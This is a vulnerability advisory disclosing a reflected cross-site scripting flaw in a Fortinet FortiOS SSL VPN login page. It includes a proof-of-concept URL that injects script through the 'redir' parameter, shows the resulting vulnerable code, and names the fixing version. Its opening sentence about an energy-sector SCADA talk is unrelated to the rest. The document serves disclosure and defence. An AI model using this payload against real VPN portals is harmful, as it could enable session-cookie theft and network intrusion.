The talk provided an overview of the threats of the companies in the energy sector, the current threats affecting SCADA systems, attackers’ motivations and a roadmap towards an increase on security.

Fortinet delivers a comprehensive portfolio of security gateways and complementary products. FortiGate platforms integrate the FortiOS™ operating system with FortiASIC™ processors and the latest-generation CPUs to provide comprehensive, high-performance security. By using a specially crafted URL in an HTTP request, it is possible to achieve an XSS attack, potentially giving access to confidential information, such as session cookies.

Description:

Fortinet FortiOS contains a flaw that allows a non-persistent cross-site scripting (XSS) attack. The input passed to redir parameter at http://x.x.x.x/remote/logincheck is not properly sanitized. It is possible to inject the redir parameter in a POST request as a data parameter or trough a GET request as a URL parameter. This may allow an attacker to execute arbitrary script code in a user’s browser.

As this range of products are used for SSL VPN authentication, this issue can be exploited to mount an attack and potentially gain unauthorised access to the target internal network.

Affected Products:

Found and tested on: SSLVPN-FGT200B  Remote Access Web Portal, but its known not to be the only one affected.

Proof of Concept:

https://x.x.x.x/remote/logincheck?magic=&username=&redir=“};alert(’XSS’);{”&grpid=&code2=&credential2=&code=&just_logged_in=1&reqid=0&cre

Figure 1: Example XSS on a SSLVPN-FGT200B

Source Code Result:

<script language = “javascript”> function redir() { top.location=”“};alert(’XSS’);{”“; } </script>

Solution:

The vendor has released an update of FortiOS. Version FortiOS 4.3.7 fixes this issue.

History:

Discovered: 14/03/2012 (Marco Batista)
Vendor Notified: 18/04/2012
Disclosed: 02/11/2012